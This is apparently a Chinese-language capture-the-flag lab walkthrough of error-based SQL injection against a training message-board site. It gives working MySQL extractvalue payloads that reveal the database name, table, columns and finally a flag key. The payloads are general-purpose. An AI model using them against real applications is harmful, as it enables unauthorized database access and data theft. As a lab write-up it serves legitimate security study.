1、 打开链接界面,可以自行测试留言
2、 提交留言,查看网页源代码
3、在浏览器中自行添加后缀,并使用单引号测试注入点,发现存在报错行注入,报错型注入的方法大概有10种左右,这里分别使用floor、updatexml和extractvalue三种常用的方法。
4、 使用extractvalue注入方法获取当前数据库信息
注入语句:
and (extractvalue(1, concat(0x5c,(select database()))))
报错反馈得出数据库名称为pikaqiu
查询:select 字段名(uid,username,password) from 数据库名.数据表名;
查询指定字段的值:select * from 数据库名.数据表名 where 字段=><值(字符型的要用‘’)
5、 获取数据库中的表
注入语句:
and (extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema='pikaqiu'))))
得出数据库表名为message
6、 获取表中的列信息
注入命令:
and (extractvalue(1, concat(0x5c,(select column_name from information_schema.columns where table_name='message' limit 3,1))))
调整limit第一位数字得到列:“id”“content”“key” "time“ 可以变换为0,1,2,3
7、 获取key的值
andextractvalue(1,concat(0x5c,(SELECT concat_ws(':', `key`) FROM message limit 0,1)))
如果当前环境命令报错,就重新将靶机开启一次,感觉环境存在一些问题
Key的值:mozheceee2f22a023a3667f31edaaac